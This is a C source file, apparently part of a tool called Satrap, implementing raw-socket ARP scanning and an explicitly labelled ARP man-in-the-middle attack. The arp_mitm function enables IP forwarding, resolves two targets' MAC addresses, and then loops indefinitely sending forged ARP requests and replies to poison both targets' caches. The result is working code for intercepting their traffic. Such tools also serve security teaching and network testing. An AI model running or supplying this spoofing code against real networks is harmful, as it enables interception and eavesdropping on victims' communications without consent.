arp.c

/* Satrap/arp.c */

#include "arp.h"



/* Sends an ARP request
    
   sockfd is the file descriptor of the socket to use to send the
   frame, should be a raw socket (AF_PACKET), which accepts ARP
   (ETH_P_ALL or ETH_P_ARP)
   ifindex is the index of the network interface
   ipaddr is the source IP address
   macaddr is the source MAC address
   target_ip is the IP address to be queried via ARP

   The function returns 0 upon success, EXIT_FAILURE otherwise.
*/
int send_arp_request(int sockfd, int ifindex, struct sockaddr_in *ipaddr, unsigned char *macaddr, struct in_addr target_ip)
{

  /* DEFINITION OF THE DESTINATION */
  
  /* The destination of the packet is contained in a struct
     sockaddr_ll, that we fill with the broadcast address
     ff:ff:ff:ff:ff:ff */
  /* Broadcast address: */
  const unsigned char ether_broadcast_addr[]= {0xff,0xff,0xff,0xff,0xff,0xff};

  struct sockaddr_ll addr;
  memset(&addr, 0, sizeof(addr));
  addr.sll_family = AF_PACKET; /* always AF_PACKET */
  addr.sll_protocol = htons(ETH_P_ARP); /* physical-layer protocol */
  addr.sll_ifindex = ifindex; /* interface number */
  addr.sll_halen = ETHER_ADDR_LEN; /* length of address */
  /* physical-layer address: */
  memcpy(addr.sll_addr, ether_broadcast_addr, ETHER_ADDR_LEN);
  /* The following fields should be 0 when you send packets, see
     packet(7) */
  addr.sll_hatype = 0;
  addr.sll_pkttype = 0;

#ifdef DEBUG
  printf("[OK] Destination structure (struct sockaddr_ll) "
	 "constructed successfully\n");
#endif

  
  /* ====================================================================== */

  /* CONSTRUCTION OF THE FRAME */

  /* We can now build the ARP request frame, using the structures
     defined in <netinet/if_ether.h> (included by
     <netinet/ether.h>). */
  struct ether_arp request;
  request.arp_hrd = htons(ARPHRD_ETHER); /* hardware type: Ethernet */
  request.arp_pro = htons(ETH_P_IP); /* Protocol type: IP */
  request.arp_hln = ETHER_ADDR_LEN; /* Hardware address length */
  request.arp_pln = sizeof(in_addr_t); /* Protocol address length */
  request.arp_op = htons(ARPOP_REQUEST); /* Operation code */
  /* Target hardware address: 0 since this is one we want */
  memset(&request.arp_tha, 0, sizeof(request.arp_tha));
  /* Target protocol address: we put the IP address for which we want
     the layer-2 address */
  memcpy(&request.arp_tpa, &target_ip.s_addr, sizeof(request.arp_tpa));
  /* Source hardware address */
  memcpy(&request.arp_sha, macaddr, sizeof(request.arp_sha));
  /* Source protocol (IP) address */
  memcpy(&request.arp_spa, &ipaddr->sin_addr, sizeof(request.arp_spa));

#ifdef DEBUG
  printf("[OK] ARP request structure (struct ether_arp) "
	 "constructed successfully\n");
#endif


  /* ====================================================================== */

  /* SEND THE FRAME */

  int err = sendto(sockfd, &request, sizeof(request), 0,
		   (struct sockaddr *) &addr, sizeof(addr));
  if (err == -1) {
    perror("[FAIL] sendto()");
    exit(EXIT_FAILURE);
  }
#ifdef DEBUG
  printf("[OK] Frame sent\n");
#endif
  


  return 0;
}



/* Sends an ARP reply

   sockfd: file descriptor of the socket
   ifindex: index of the network interface
   sender_ip: source IP address
   sender_mac: source MAC address
   target_ip: IP address to which the answer is destined
   target_mac: MAC address of the target

   The function returns 0 on success, or exits with EXIT_FAILURE.
 */
int send_arp_reply(int sockfd, int ifindex, struct sockaddr_in *sender_ip, unsigned char *sender_mac, struct in_addr target_ip, unsigned char *target_mac)
{

  /* DEFINITION OF THE DESTINATION */
  
  /* The destination of the packet is contained in a struct
     sockaddr_ll */
  struct sockaddr_ll addr;
  addr.sll_family = AF_PACKET; /* always AF_PACKET */
  addr.sll_protocol = htons(ETH_P_ARP); /* physical-layer protocol */
  addr.sll_ifindex = ifindex; /* interface number */
  addr.sll_halen = ETHER_ADDR_LEN; /* length of address */
  /* physical-layer address: */
  memcpy(addr.sll_addr, target_mac, ETHER_ADDR_LEN);

#ifdef DEBUG
  printf("[OK] Destination structure (struct sockaddr_ll) "
	 "constructed successfully\n");
#endif

  
  /* ====================================================================== */

  /* CONSTRUCTION OF THE FRAME */

  /* We can now build the ARP reply frame, using the structures
     defined in <netinet/if_ether.h> (included by
     <netinet/ether.h>). */
  struct ether_arp reply;
  reply.arp_hrd = htons(ARPHRD_ETHER); /* hardware type: Ethernet */
  reply.arp_pro = htons(ETH_P_IP); /* Protocol type: IP */
  reply.arp_hln = ETHER_ADDR_LEN; /* Hardware address length */
  reply.arp_pln = sizeof(in_addr_t); /* Protocol address length */
  reply.arp_op = htons(ARPOP_REPLY); /* Operation code */
  /* Target hardware address: 0 since this is one we want */
  memcpy(&reply.arp_tha, target_mac, sizeof(reply.arp_tha));
  /* Target protocol address: we put the IP address for which we want
     the layer-2 address */
  memcpy(&reply.arp_tpa, &target_ip.s_addr, sizeof(reply.arp_tpa));
  /* Sender hardware address */
  memcpy(&reply.arp_sha, sender_mac, sizeof(reply.arp_sha));
  /* Sender protocol (IP) address */
  memcpy(&reply.arp_spa, &sender_ip->sin_addr, sizeof(reply.arp_spa));

#ifdef DEBUG
  printf("[OK] ARP reply structure (struct ether_arp) "
	 "constructed successfully\n");
#endif


  /* ====================================================================== */

  /* SEND THE FRAME */

  int err = sendto(sockfd, &reply, sizeof(reply), 0,
		   (struct sockaddr *) &addr, sizeof(addr));
  if (err == -1) {
    perror("[FAIL] sendto()");
    exit(EXIT_FAILURE);
  }
#ifdef DEBUG
  printf("[OK] Frame sent\n");
#endif
  


  return 0;
  
}



/* Listens to an ARP frame

   sockfd: the socket file descriptor
   result: the parsed ARP frame

   Returns 0 if an ARP answer was found, -1 otherwise.
 */
int listen_arp_frame(int sockfd, struct ether_arp *result)
{
  int count = 0;
  int len = recv(sockfd, result, sizeof(struct ether_arp), 0);
  
  while (len > 0 && count < 20) {
    /* skip to the next frame if it's not an ARP REPLY */
    if (ntohs (result->arp_op) != ARPOP_REPLY) {
      ++count;
      //printf("Operation: %d\n", ntohs(result->arp_op));
      recv(sockfd, result, sizeof(struct ether_arp), 0);
      continue;
    }

#ifdef DEBUG
    /* if it is an ARP reply */
    printf("[OK] Reply frame received\n");
    printf("Hardware type: %d\n", ntohs(result->arp_hrd));
    printf("Protocol type: %d\n", result->arp_pro);
    printf("Hardware size: %d\n", result->arp_hln);
    printf("Protocol size: %d\n", result->arp_pln);
    printf("Operation: %d\n", ntohs(result->arp_op));

    printf("Sender hardware address: %02x:%02x:%02x:%02x:%02x:%02x\n",
    	 result->arp_sha[0],result->arp_sha[1],result->arp_sha[2],
    	 result->arp_sha[3],result->arp_sha[4],result->arp_sha[5]);

    printf("Sender protocol address: %d.%d.%d.%d\n",
	   result->arp_spa[0],result->arp_spa[1],
	   result->arp_spa[2],result->arp_spa[3]);

    printf("Target hardware address: %02x:%02x:%02x:%02x:%02x:%02x\n",
    	 result->arp_tha[0],result->arp_tha[1],result->arp_tha[2],
    	 result->arp_tha[3],result->arp_tha[4],result->arp_tha[5]);

    printf("Target protocol address: %d.%d.%d.%d\n",
	   result->arp_tpa[0],result->arp_tpa[1],
	   result->arp_tpa[2],result->arp_tpa[3]);
#endif
    return 0;
    
  }

#ifdef DEBUG
  printf("[FAIL] No frame received\n");
#endif
  
  return -1;
}



/* Scans the subnet by sending ARP requests. If a reply is received,
   we know that the target is alive.

   sockfd: socket file descriptor
   ifindex: index of the interface
   ipaddr: local IP address
   macaddr: local hardware address
   netmask: local netmask

   Returns 0 when the scan is complete.
 */
int arp_scan(int sockfd, int ifindex, struct sockaddr_in *ipaddr, unsigned char *macaddr, struct sockaddr_in *netmask)
{

  /* Using the local IP address and netmask, we can loop on every IP
     address on the subnet, and send to every one an ARP request. */

  /* This counter will loop through every available IP address on the
     current subnet */
  unsigned long ip_counter = ntohl(ipaddr->sin_addr.s_addr) & ntohl(netmask->sin_addr.s_addr);
  /* The maximum address on the subnet */
  unsigned long ip_max = ip_counter | (~ntohl(netmask->sin_addr.s_addr));

  struct ether_arp result;

  while (ip_counter < ip_max) {
    char ip_string[16];
    struct in_addr target_ip;
    target_ip.s_addr = htonl(ip_counter);
    if (!inet_ntop(AF_INET, &target_ip.s_addr, ip_string, sizeof(ip_string))) {
      perror("[FAIL] inet_ntop()");
      exit(EXIT_FAILURE);
    }

    send_arp_request(sockfd, ifindex, ipaddr, macaddr, target_ip);

    int isalive = listen_arp_frame(sockfd, &result);
    if (isalive == 0) {
      printf("Host %d.%d.%d.%d is alive!\n",
	     result.arp_spa[0],result.arp_spa[1],
	     result.arp_spa[2],result.arp_spa[3]);
    }
    
    ++ip_counter;
  }

  
  return 0;
}



/* ARP man-in-the-middle attack.

   sockfd: socket file descriptor
   ifindex: index of the interface
   ipaddr: local IP address
   macaddr: local hardware address
   target1_ip: IP address of the first target
   target2_ip: IP address of the second target

   Never returns, has to be killed by the user.
 */
int arp_mitm(int sockfd, int ifindex, struct sockaddr_in *ipaddr, unsigned char *macaddr, struct in_addr *target1_ip, struct in_addr *target2_ip)
{

  /* We build 2 pseudo-local IP addresses to impersonate both
     targets */
  struct sockaddr_in *ipaddr1 = malloc(sizeof(struct sockaddr_in));
  struct sockaddr_in *ipaddr2 = malloc(sizeof(struct sockaddr_in));
  ipaddr1->sin_family = AF_INET;
  ipaddr1->sin_port = htons(5746);
  ipaddr1->sin_addr = *target1_ip;
  ipaddr2->sin_family = AF_INET;
  ipaddr2->sin_port = htons(5746);
  ipaddr2->sin_addr = *target2_ip;

  /* ====================================================================== */
  
  /* Ensures IP forwarding is enabled on Linux, in order to make he
     attacker "transparent" to packets moving form target1 to
     target2. This is not persistent on reboot. */
  system("echo 1 > /proc/sys/net/ipv4/ip_forward");

  /* We send normal requests to both targets in order to get their
     hardware addresses.  */
  send_arp_request(sockfd, ifindex, ipaddr, macaddr, *target1_ip);
  struct ether_arp reply1;
  listen_arp_frame(sockfd, &reply1);
  /*printf("%d\n", n);
  if (n != 0) {
    printf("[FAIL] No frame received\n");
    exit(EXIT_FAILURE);
    }*/
  unsigned char *macaddr1 = reply1.arp_sha;
  printf("Target 1 hardware address: %02x:%02x:%02x:%02x:%02x:%02x\n",
    	 macaddr1[0],macaddr1[1],macaddr1[2],
    	 macaddr1[3],macaddr1[4],macaddr1[5]);

  send_arp_request(sockfd, ifindex, ipaddr, macaddr, *target2_ip);
  struct ether_arp reply2;
  listen_arp_frame(sockfd, &reply2);
  /*if (n != 0) {
    printf("[FAIL] No frame received\n");
    exit(EXIT_FAILURE);
    }*/
  unsigned char *macaddr2 = reply2.arp_sha;
  printf("Target 2 hardware address: %02x:%02x:%02x:%02x:%02x:%02x\n",
    	 macaddr2[0],macaddr2[1],macaddr2[2],
    	 macaddr2[3],macaddr2[4],macaddr2[5]);

  /* We send ARP requests and replies to both targets, impersonating
     the other. We use both requests and replies because some devices
     (linux > 2.4.x for example) don't update their ARP cache on
     unsolicited replies, but do on queries. */
  while(1) {
    send_arp_request(sockfd, ifindex, ipaddr1, macaddr, *target2_ip);
    send_arp_reply(sockfd, ifindex, ipaddr1, macaddr, *target2_ip, macaddr2);
    sleep(1);
    send_arp_request(sockfd, ifindex, ipaddr2, macaddr, *target1_ip);
    send_arp_reply(sockfd, ifindex, ipaddr2, macaddr, *target1_ip, macaddr1);
    sleep(1);
  }

  return 0;
}